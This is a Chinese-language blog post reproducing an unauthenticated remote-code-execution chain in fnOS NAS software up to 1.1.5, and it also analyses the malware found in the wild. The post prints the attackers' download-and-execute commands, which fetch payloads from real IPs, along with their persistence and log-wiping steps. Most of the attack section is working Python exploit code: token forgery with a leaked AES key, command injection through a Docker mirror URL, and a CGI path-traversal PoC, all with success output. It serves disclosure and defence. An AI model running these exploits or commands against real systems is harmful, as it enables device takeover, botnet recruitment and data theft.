飞牛fnOS<=1.15RCE复现

飞牛fnOS<=1.15RCE复现

本文深入剖析了在飞牛私有云系统(fnOS)中发现并已被黑产利用的一个严重安全漏洞链。该漏洞影响fnOS 1.1.5及以下版本,攻击者可在无需任何身份认证的情况下,远程获取系统最高权限并执行任意命令。

重要/漏洞

飞牛fnOS疑似遭公网未授权访问/利用后植入后门组件

漏洞编号:暂无(官方未公开/未分配CVE)

重要等级:严重(高危)

CVSS 分数:暂无

时间线

最早入侵记录:1月19日左右

用户察觉异常:1月21日左右,主要因设备出现对外异常行为(含对外攻击/连接异常增多)导致网络不稳定而被发现。1月21–22日期间观测到任务/指令下发行为

综合判断:攻击者至少利用了约3-4天“空窗期”在用户察觉前完成感染、持久化与回连准备

官方侧:据反馈,官方约在1月21日左右因用户集中反映“建立大量连接、网络不稳定”等现象,才进一步定位并确认漏洞风险

总结:本次针对fnOS的漏洞利用活动呈现多团伙、多基础设施特征:疑似存在2–3个利用团伙,攻击流程较为成熟,并观察到多个C2(命令与控制)域名用于回连与任务下发。当前已明确捕捉到DDoS攻击指令,被入侵设备存在被纳入僵尸网络风险。

影响范围

飞牛fnOS<=1.15

fnOS 设备存在公网可达入口(端口映射/反代/直连公网)时风险显著上升;官方建议升级至1.1.15并验证关闭公网映射后异常是否停止。

论坛反馈即使仅使用HTTPS访问也可能出现同类驻留现象,说明风险不应仅限定为HTTP明文通道(可能存在其他公网暴露面、历史入侵残留或服务端漏洞可经HTTPS触发)

木马行为分析

目前LoopDNS频道编辑已获取相关木马文件(膜拜大佬Orz),下为行为分析:

入侵者在通过未公开入口/利用链投放后门下载器后并执行

下载二阶段载荷并执行(观测到的命令链)

cd /tmp

wget http://20.89.168.131/nginx

chmod 777 nginx

head -c 16 /dev/urandom >> nginx(向文件追加随机字节,改变哈希,规避基于哈希的检测)

./nginx

wget http://20.89.168.131/trim_https_cgi

chmod 777 trim_https_cgi

head -c 16 /dev/urandom >> trim_https_cgi

./trim_https_cgi

外联与拉取补充组件

HTTP:GET http://151.240.13.91/trim_fnos

TCP:连接 45.95.212.102:6608

后门驻留组件gots

A1. 写入后门主体与持久化文件

创建/写入:/sbin/gots

创建/写入:/etc/rc.local、/etc/rc.d/rc.local

创建/写入 systemd 服务(变种服务名):

/etc/systemd/system/x86.service

/etc/systemd/system/<sha256>.service

执行持久化:systemctl enable <service>.service(含重定向到 /dev/null 的静默执行)

自身复制/改名落地:

/usr/bin/x86(样本发生目录重命名/落地)

/usr/bin/<sha256>(样本发生目录重命名/落地)

A2. C2 通信与探测

DNS:解析 aura.kabot.icu -> 45.95.212.102

TCP:连接 45.95.212.102 多端口(观测到:3489、5098、6608、7489)

论坛样本显示的附加行为(strings/排查结论)

干扰系统工具:重命名/替换 cat(出现 mv /usr/bin/cat /usr/bin/cat2 等字符串,导致“cat 丢失”现象)

结束系统进程:pkill -f 'network_service|resmon_service'

修改持久化入口:改写 /etc/rc.local 与 /etc/systemd/system/%s.service 并 systemctl enable

外联:包含 45.95.212.102 字符串并进行访问

3. 组件 trim_https_cgi

清理痕迹

清空多目录日志:/var/log/*、/usr/trim/logs/*、/run/log/journal 等

删除审计日志:/var/log/audit/audit.log 及滚动文件

删除/清理安全相关日志:/var/log/secure*、/var/log/messages*、wtmp/btmp/lastlog 等

干扰业务与恢复功能

结束服务:pkill -f backup_service、pkill -f sysrestore_service 等

二阶段下载执行与启动脚本注入

修改 /usr/trim/bin/system_startup.sh,追加下载执行链:

wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp

端口相关痕迹与疑似隐藏监听(来源于论坛排查)

目标系统存在 0.0.0.0:57132 LISTEN,ss/netstat 无 PID,lsof/fuser 无结果

trim_https_cgi 字符串包含 57132,并出现 kill -9 $(lsof -t -i:57132) 之类处理逻辑(提示该端口为其链路的一部分)

内核模块snd_pcap(论坛排查)

/etc/modules 被追加 snd_pcap

模块文件:/lib/modules/6.12.18-trim/snd_pcap.ko

与“57132 监听无 PID/无 lsof 结果”的现象存在关联怀疑(疑似内核层隐藏/驻留能力)

关键落地痕迹

不可变属性(immutable,需先 chattr -i 才能删除):

/usr/bin/nginx

/usr/sbin/gots

/usr/trim/bin/trim_https_cgi

/etc/systemd/system/nginx.service

/etc/systemd/system/trim_https_cgi.service

/etc/rc.local

伪装/复用:/usr/bin/nginx 与 /usr/sbin/gots md5 相同(同一载荷多名称投放)

rc.local自启:/sbin/gots x86 &

systemd自启(示例):ExecStart=/usr/bin/nginx x86(oneshot + enable)

可疑网络基础设施(IOC)

IP:45[.]95[.]212[.]102(C2/多端口连接)

IP:151[.]240[.]13[.]91(HTTP 拉取二阶段:/trim_fnos、论坛样本)

域名:aura[.]kabot[.]icu(解析到 45[.]95[.]212[.]102)

下载源:20[.]89[.]168[.]131(HTTP 拉取:/nginx、/trim_https_cgi)

归属信息:45[.]95[.]212[.]102 与 151[.]240[.]13[.]91(两个 IP 均归属 AS209554 ISIF OU 提供商网段)

攻击链

任意文件读取

系统的一个Web接口(/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../)未能正确过滤用户输入的路径,允许攻击者读取服务器文件系统上的任意文件。
在此攻击链中的作用:用于下载一个伪装成RSA私钥、但实际内嵌了硬编码AES密钥的文件(/usr/trim/etc/rsa_private_key.pem)。这是整个攻击的起点。

身份认证绕过

登录逻辑分析

用户请求 (Login/ChangePassword)
       |
       v
[ 应用程序 ]
       |
       +---> 1. 验证/修改密码
       |        |
       |        +---> [ 内存缓存 passwd ]
       |        |
       |        +---> [ Linux 系统调用 (crypt/PAM/chpasswd) ] ---> [ /etc/shadow ]
       |        |
       |        +---> [ smbpasswd 命令 ] ------------------------> [ Samba 密码库 ]
       |
       +---> 2. 登录成功后生成
                +---> [ 内存缓存 secret, token ]
                |
                +---> [ PostgreSQL 数据库 ] ---> 表: longtoken

授权命令执行需要拿到secret或者token。但读取堆内存略微困难,因此要么读取到longtoken转化为token,要么想办法利用业务漏洞。

交互逻辑分析

系统的WebSocket网关在验证用户身份时存在致命逻辑缺陷。它允许攻击者使用上述获取的AES主密钥,在本地凭空“创造”出一个服务器会认为是合法的临时token

在此攻击链中的作用:攻击者利用此漏洞,无需任何用户名和密码,即可伪造出一个“已登录”的管理员身份,从而有权调用需要高权限的API接口。

前端使用Websocket协议交互,登录流程如下:

fnos-up-to-1.15-rce-exploit-1.png

Token生成逻辑

上述下载的文件中,在固定偏移量(100字节处)硬编码了一个32字节的AES主密钥(Root Key)。

在此攻击链中的作用:为攻击者提供了“万能钥匙”。这是后续伪造合法用户凭证的核心要素。

/usr/trim/bin/handlers/users.hdl中的do_login函数中包含了secret,token,longtoken的生成逻辑:

  • Secret(16字节):随机生成的16字节数据,强制将第16字节设置为o

  • Token(32字节)

    • 前16字节(IV):由时间戳、计时器和随机数拼接而成。

    • 后16字节(Cipher):使用RSA密钥对Secret进行AES加密后的数据。

fnos-up-to-1.15-rce-exploit-2.png
fnos-up-to-1.15-rce-exploit-3.png

因此secrettoken可以相互转化,这点很重要。

/usr/trim/bin/trim中的handle_websocket_packet函数中包含了鉴权逻辑。

后端能够解析两种类型的包:

  • 加密包:不需要 secret 签名

  • 明文包:除非req白名单或者设置了no_sign,否则需要secret对请求体签名

看上去可以构造一个加密包,然后使用longtoken进行登录,从而绕过签名:

{
    "req": "user.tokenLogin",
    "reqid": xxx,
    "token": long_token, 
    "deviceType": xxx,
    "deviceName": xxx,
    "did": xxx,
    "si": xxx,
}

遗憾的是,加密包会触发token长度的判断。

fnos-up-to-1.15-rce-exploit-4.png

不过这里存在另一个漏洞:

验签时如果存在token字段,则直接对token解密得到secret,然后对请求体计算签名。

fnos-up-to-1.15-rce-exploit-5.png

因此,可以自己生成secrettoken绕过认证。

PoC

在通过认证后,一个用于添加Docker镜像的API接口(appcgi.dockermgr.systemMirrorAdd)未能正确处理其url参数。
在此攻击链中的作用:这是最终的执行环节。攻击者将恶意系统命令(如反弹Shell或下载执行脚本)注入到url参数中,服务器在处理该请求时会无条件执行这些命令

需获取系统中的rsa_private_key.pem(通过任意文件读取漏洞获取)。

import websocket
import json
import time
import base64
import argparse
import hashlib
import hmac
import os
import sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

# --- 目标配置 ---
TARGET_URL = "ws://192.168.108.168:5666/websocket?type=main"

# 攻击负载 (Mode 1 使用)
CMD_TO_EXECUTE = "/usr/bin/touch /tmp/pwned; /usr/bin/echo"
RCE_PAYLOAD_URL = f"https://test.example.com ; {CMD_TO_EXECUTE}"

class TrimProtocol:
    """处理 Trim 协议的加密、解密和签名逻辑"""
    def __init__(self, key_path):
        self.root_aes_key = self._load_root_key(key_path)

    def _load_root_key(self, path):
        if not os.path.exists(path):
            print(f"❌ [Error] 找不到密钥文件: {path}")
            sys.exit(1)
        with open(path, 'rb') as f:
            f.seek(100)
            key = f.read(32)
            print(f"🔑 [Key] 已加载 Root Key: {key.hex().upper()[:]}...")
            return key

    def get_reqid(self):
        return str(int(time.time() * 100000))

    def generate_fresh_token(self):
        """
        [Mode 1 核心]
        利用 Root Key 自行构造一个合法的 Token。
        服务器网关只校验 Token 能否解密以及签名是否匹配,不一定校验 Token 是否在数据库中。
        """
        # 1. 生成随机的 15 字节 Session Key
        raw_session_key = get_random_bytes(15)
        
        # 2. 构造 HMAC Key (Session Key + 0x6F)
        hmac_key = bytearray(raw_session_key)
        hmac_key.append(111) 
        
        # 3. 使用 Root Key 加密 Session Key 生成 Token 字符串
        iv = get_random_bytes(16)
        cipher = AES.new(self.root_aes_key, AES.MODE_CBC, iv)
        # Pad 到 16 字节 (15 + 1 byte padding 0x01)
        ciphertext = cipher.encrypt(pad(raw_session_key, AES.block_size))
        
        token_blob = iv + ciphertext
        token_str = base64.b64encode(token_blob).decode('utf-8')
        
        return token_str, hmac_key

    def extract_key_from_token(self, token_str):
        """
        [Mode 2 核心]
        从已有的 LongToken 中解密出 HMAC Key。
        """
        try:
            token_bytes = base64.b64decode(token_str)
            iv = token_bytes[:16]
            ciphertext = token_bytes[16:32]
            
            cipher = AES.new(self.root_aes_key, AES.MODE_CBC, iv)
            decrypted = cipher.decrypt(ciphertext)
            
            # 取前15字节 + 0x6F
            session_key = decrypted[:15]
            hmac_key = bytearray(session_key)
            hmac_key.append(111)
            return hmac_key
        except Exception as e:
            print(f"❌ Token 解密失败: {e}")
            return None

    def sign_packet(self, payload_dict, hmac_key):
        """对 Payload 进行签名并返回最终数据包字符串"""
        json_str = json.dumps(payload_dict, separators=(',', ':'))
        signature = hmac.new(hmac_key, json_str.encode('utf-8'), hashlib.sha256).digest()
        sig_b64 = base64.b64encode(signature).decode('utf-8')
        # 格式: Sig + JSON (无等号)
        return f"{sig_b64}{json_str}"


class TrimAttacker:
    def __init__(self, mode, key_path, long_token=None):
        self.protocol = TrimProtocol(key_path)
        self.ws = None
        self.si = ""
        self.step = 0
        self.mode = mode # 'rce' or 'login'
        self.long_token = long_token

    def on_open(self, ws):
        print(f"\n[1/2] 连接建立,发送握手包...")
        # 必须先握手拿到 SI
        payload = {"reqid": self.protocol.get_reqid(), "req": "util.crypto.getRSAPub"}
        ws.send(json.dumps(payload))
        self.step = 1

    def on_message(self, ws, message):
        try:
            # 解析响应包
            if message.startswith('{'):
                data = json.loads(message)
            elif message.find('{') > -1:
                data = json.loads(message[message.find('{'):])
            else:
                return

            # --- 步骤 1: 获取 SI ---
            if self.step == 1 and "si" in data:
                self.si = str(data["si"])
                print(f"✅ [1/2] 握手成功 SI: {self.si}")
                
                if self.mode == "rce":
                    self.do_rce(ws)
                elif self.mode == "login":
                    self.do_login(ws)
                
                self.step = 2
                return

            # --- 步骤 2: 处理响应 ---
            if self.step == 2:
                print(f"\n📩 [Response]:\n{json.dumps(data, indent=2)}")
                
                if self.mode == "login" and data.get("result") == "succ":
                    print(f"\n🎉 [2/2] Token 获取成功")
                    print(f"Token: {data.get('token')}")
                    print(f"UID:   {data.get('uid')}")
                elif self.mode == "rce" and (data.get("result") == "succ" or data.get("errno") == 0):
                    print(f"\n🎉 [2/2] Exploit 发送成功")
                    print(f"注入命令: {CMD_TO_EXECUTE}")
                else:
                    print(f"\n❌ [操作失败] Errno: {data.get('errno', 'Unknown')}")
                
                ws.close()

        except Exception as e:
            print(f"❌ 运行异常: {e}")
            ws.close()

    def do_rce(self, ws):
        """功能 1: 仅凭 RSA 签名进行命令执行"""
        print(f"\n[*] Mode: RCE")
        
        # 1. 凭空生成一个合法的临时 Token
        fake_token, hmac_key = self.protocol.generate_fresh_token()
        print(f"[*] 生成伪造 Token: {fake_token[:]}...")
        
        # 2. 构造 Payload
        payload = {
            "reqid": self.protocol.get_reqid(),
            "req": "appcgi.dockermgr.systemMirrorAdd",
            "url": RCE_PAYLOAD_URL,
            "name": "RSA_Only_Exploit",
            "token": fake_token, # 放入伪造的 Token 用于过网关验签
            "si": self.si
        }
        
        # 3. 签名并发送
        packet = self.protocol.sign_packet(payload, hmac_key)
        print(f"[>] 发送 Payload...")
        print(f"[>] Payload 内容: {packet[:]}")
        ws.send(packet)

    def do_login(self, ws):
        """功能 2: 使用 LongToken 换取会话 Token"""
        print(f"\n[*] Mode: Login (LongToken)")
        
        # 1. 从给定的 LongToken 解密出 Key
        hmac_key = self.protocol.extract_key_from_token(self.long_token)
        if not hmac_key:
            print("❌ 无法解密 LongToken")
            ws.close()
            return

        # 2. 构造 Payload
        payload = {
            "req": "user.tokenLogin",
            "reqid": self.protocol.get_reqid(),
            "token": self.long_token, 
            "deviceType": "Browser",
            "deviceName": "Python-Tool",
            "did": "python-tool-did",
            "si": self.si
        }

        # 3. 签名并发送
        packet = self.protocol.sign_packet(payload, hmac_key)
        print(f"[>] 发送 Login 包...")
        ws.send(packet)

    def run(self):
        self.ws = websocket.WebSocketApp(TARGET_URL,
                                         on_open=self.on_open,
                                         on_message=self.on_message)
        self.ws.run_forever()

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-k", "--key", required=True, help="rsa_private_key.pem 文件路径")
    
    subparsers = parser.add_subparsers(dest="command", help="功能模式", required=True)

    # 模式 1: RCE (不需要 LongToken)
    rce_parser = subparsers.add_parser("rce", help="直接执行命令")
    
    # 模式 2: Get Token (需要 LongToken)
    login_parser = subparsers.add_parser("login", help="使用 LongToken 获取会话 Token")
    login_parser.add_argument("-t", "--token", required=True, help="你的 LongToken")

    args = parser.parse_args()

    # 启动
    attacker = None
    if args.command == "rce":
        attacker = TrimAttacker("rce", args.key)
    elif args.command == "login":
        attacker = TrimAttacker("login", args.key, long_token=args.token)
    
    if attacker:
        attacker.run()
# 1. 命令执行
python poc.py -k ./rsa_private_key.pem rce
# 2. 获取会话token(这个是从postgresql数据库读出来的longtoken,用户勾选了下次登陆不用输入密码时,会自动生成并存储。用途是生成一个真正合法的会话token(存储在内存),而非直接通过rsa密钥伪造的token,有个别API会调用query_token_by_session,因此需要合法的token。而dockerimage的命令执行只需要伪造token)
python poc.py -k ./rsa_private_key.pem login -t 9XlXMOgDAABCfaZpAAAAAAluArwO5RZ2JbzjA6m9hmnjp0KtNSz/SA==

以下最新PoC无需文件读取RSA私钥,只需使用加密包即可实现命令执行。

import websocket
import json
import time
import base64
import argparse
import sys
from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_v1_5, AES
from Crypto.Util.Padding import pad
from Crypto.Random import get_random_bytes

# --- 目标配置 ---
TARGET_URL = "ws://192.168.108.168:5666/websocket?type=main"

# 攻击负载
CMD_TO_EXECUTE = "/usr/bin/touch /tmp/hacked_via_encrypted_channel"
EXPLOIT_PAYLOAD_URL = f"https://test1145.example.com ; {CMD_TO_EXECUTE} ; /usr/bin/echo "

class TrimEncryptedExploit:
    def __init__(self):
        self.ws = None
        self.si = ""
        self.server_pub_key = ""
        self.step = 0

    def get_reqid(self):
        return str(int(time.time() * 100000))

    def create_encrypted_packet(self, inner_json_dict):
        """
        构造 { "req": "encrypted", ... } 数据包
        """
        try:
            # 1. 生成临时的 AES-256 Key 和 IV
            aes_key = get_random_bytes(32)
            aes_iv = get_random_bytes(16)
            
            # 2. 序列化内部 Payload
            # 注意:separators 去除空格
            inner_data = json.dumps(inner_json_dict, separators=(',', ':')).encode('utf-8')
            
            # 3. AES 加密 Payload (CBC + PKCS7 Padding)
            cipher_aes = AES.new(aes_key, AES.MODE_CBC, aes_iv)
            encrypted_body = cipher_aes.encrypt(pad(inner_data, AES.block_size))
            
            # 4. RSA 加密 AES Key (使用服务器公钥)
            # 这样服务器收到后,能用它的私钥解出我们的 AES Key
            rsa_key_obj = RSA.import_key(self.server_pub_key)
            cipher_rsa = PKCS1_v1_5.new(rsa_key_obj)
            encrypted_aes_key = cipher_rsa.encrypt(aes_key)
            
            # 5. 组装最终包
            wrapper = {
                "req": "encrypted",
                # "reqid": self.get_reqid(), # 外层通常不需要 reqid,如果需要可取消注释
                "iv": base64.b64encode(aes_iv).decode('utf-8'),
                "rsa": base64.b64encode(encrypted_aes_key).decode('utf-8'),
                "aes": base64.b64encode(encrypted_body).decode('utf-8')
            }
            
            return json.dumps(wrapper, separators=(',', ':'))
            
        except Exception as e:
            print(f"❌ 加密构造失败: {e}")
            return None

    def on_open(self, ws):
        print(f"\n[1/2] 连接建立,请求公钥...")
        # 步骤 1: 拿公钥和 SI
        payload = {
            "reqid": self.get_reqid(),
            "req": "util.crypto.getRSAPub"
        }
        ws.send(json.dumps(payload))
        self.step = 1

    def on_message(self, ws, message):
        try:
            # 简单解析
            if message.startswith('{'):
                data = json.loads(message)
            elif message.find('{') > -1:
                data = json.loads(message[message.find('{'):])
            else:
                return

            # --- 步骤 1: 获取公钥和 SI ---
            if self.step == 1 and "pub" in data:
                self.server_pub_key = data["pub"]
                self.si = str(data["si"])
                print(f"✅ [1/2] 握手成功")
                print(f"    SI: {self.si}")
                print(f"    Pub Key 获取成功 ({len(self.server_pub_key)} bytes)")
                
                # --- 步骤 2: 发送加密的 Exploit ---
                self.send_exploit(ws)
                self.step = 2
                return

            # --- 步骤 2: 接收结果 ---
            if self.step == 2:
                print(f"\n💣 [2/2] 收到响应:\n{json.dumps(data, indent=2)}")
                
                if data.get("result") == "succ" or data.get("errno") == 0:
                    print(f"\n[+] 攻击成功!命令已通过加密通道发送。")
                    print(f"[+] 请检查服务器文件: {CMD_TO_EXECUTE}")
                else:
                    print(f"\n[-] 攻击失败,错误码: {data.get('errno')}")
                
                ws.close()

        except Exception as e:
            print(f"❌ 异常: {e}")
            ws.close()

    def send_exploit(self, ws):
        print(f"\n[*] 正在构造加密 Exploit 包...")
        print(f"[*] 注入命令: {CMD_TO_EXECUTE}")
        
        inner_payload = {
            "req": "appcgi.dockermgr.systemMirrorAdd",
            "reqid": self.get_reqid(),
            "url": EXPLOIT_PAYLOAD_URL,
            "name": "EncryptedExploit",
            "si": self.si
        }
        
        print(f"[*] 内部 Payload: {json.dumps(inner_payload)}")
        
        packet = self.create_encrypted_packet(inner_payload)
        
        if packet:
            print(f"[>] 发送加密包 (Len: {len(packet)})...")
            ws.send(packet)

    def run(self):
        self.ws = websocket.WebSocketApp(TARGET_URL,
                                         on_open=self.on_open,
                                         on_message=self.on_message)
        self.ws.run_forever()

if __name__ == "__main__":
    print("=== Trim 协议加密通道未授权 RCE 利用工具 ===")
    exploit = TrimEncryptedExploit()
    exploit.run()

本地环境复现输出:

=== Trim 协议加密通道未授权 RCE 利用工具 ===

[1/2] 连接建立,请求公钥...
✅ [1/2] 握手成功
    SI: 72057838851063817
    Pub Key 获取成功 (451 bytes)

[*] 正在构造加密 Exploit 包...
[*] 注入命令: /usr/bin/touch /tmp/hacked_via_encrypted_channel
[*] 内部 Payload: {"req": "appcgi.dockermgr.systemMirrorAdd", "reqid": "177043471666747", "url": "https://test1145.example.com ; /usr/bin/touch /tmp/hacked_via_encrypted_channel ; /usr/bin/echo ", "name": "EncryptedExploit", "si": "72057838851063817"}
[>] 发送加密包 (Len: 733)...

💣 [2/2] 收到响应:
{
  "reqid": "177043471666747",
  "result": "succ",
  "rsp": "ok"
}

[+] 攻击成功!命令已通过加密通道发送。
[+] 请检查服务器文件: /usr/bin/touch /tmp/hacked_via_encrypted_channel
fnos-up-to-1.15-rce-exploit-8.png

拓展

CGI路径穿越

/usr/trim/bin/trim_http_cgi存在一个稍弱的路径穿越、命令执行。

fnos-up-to-1.15-rce-exploit-9.png

filepath.Join并不防御路径穿越,因此能从/var/apps_ui穿越到/var,并执行任意文件。但存在有一些限制:

  1. 需要合法token

  2. 由于nginx的解析问题,只能穿越一层到/var

利用思路:需要结合认证绕过和后文提到的postgresql数据库中的longtoken,生成一个合法token,调用文件上传的API,上传一个bash/var目录。

import requests
import sys

TARGET_IP = "192.168.108.168"
TARGET_PORT = 5666

TOKEN = "g9auUGNTfmkV7fEAVF6qTdH2kQ9CgBkEHmkUBsNvU/8="

url = f"http://{TARGET_IP}:{TARGET_PORT}/cgi/third-party/%2e./bash"

headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36",
    "Authorization": f"token {TOKEN}",
    "Content-Type": "application/x-www-form-urlencoded"
}

commands = "echo 1> /tmp/test.txt"

print(f"[*] Attacking: {url}")
print(f"[*] Using Token: {TOKEN[:10]}...")
print(f"[*] Command: {commands}")

try:
    # 发送 POST 请求
    response = requests.request("POST", url, headers=headers, data=commands, timeout=10)
    
    print("\n[+] Status Code:", response.status_code)
    print("[+] Response Body (Command Output):\n")
    print("-" * 40)
    print(response.text)
    print("-" * 40)

except Exception as e:
    print(f"[-] Error: {e}")

读取PostgreSQL数据库

PostgreSQL数据库位于/var/lib/postgresql/*/main/base

该目录下有若干个数据库目录,通常为40000+,需要读取每个数据库下的pg_class表(固定OID1259),然后从中获取longtoken表的 OID

处置建议

  1. 关闭公网端口映射/源站直通。

  2. 升级fnOS至官方建议版本(1.1.19或更高)。

  3. 出口防火墙封禁:45.95.212.102151.240.13.91,同时监控连接数与上传是否回落。

  4. 轮换所有管理口令/密钥;检查容器、计划任务、数据盘是否存在触发残留(官方提示“重装后仍可能再次触发”)。

参考

  1. https://github.com/bron1e/fnos-rce-chain

  2. https://blog.moguq.top/posts/26020201

  3. https://t.me/DNSPODT/13048

  4. https://t.me/DNSPODT/13044

  5. https://t.me/DNSPODT/13042

免责声明

以上复现内容如涉及实操测试均为纯内网环境完成,测试机器如下图所示:

fnos-up-to-1.15-rce-exploit-12.png

本文所述技术细节(包括但不限于漏洞原理、攻击链分析、PoC代码等)仅限用于以下合法用途

  1. 安全研究:在获得系统所有者明确授权的前提下,于可控的测试环境(如本地虚拟机、专属内网)中进行漏洞验证与防御技术研究。

  2. 教育交流:作为网络安全知识学习与学术讨论的参考资料,旨在提升安全防护意识与能力。

  3. 授权测试:在合规的渗透测试或安全评估项目中,依据书面授权范围对目标系统进行测试。

任何个人或组织均不得将本文内容用于任何非法目的。 未经授权,对任何计算机信息系统(包括但不限于飞牛fnOS或其他系统)进行探测、扫描、攻击或破坏,均属于严重违法行为,将承担相应的法律责任。

《中华人民共和国网络安全法》 第二十七条规定,任何个人和组织不得从事非法侵入他人网络、干扰他人网络正常功能、窃取网络数据等危害网络安全的活动。

新手男生必看:颜值自救指南(更新中) 2026-02-05
一言 2026-02-20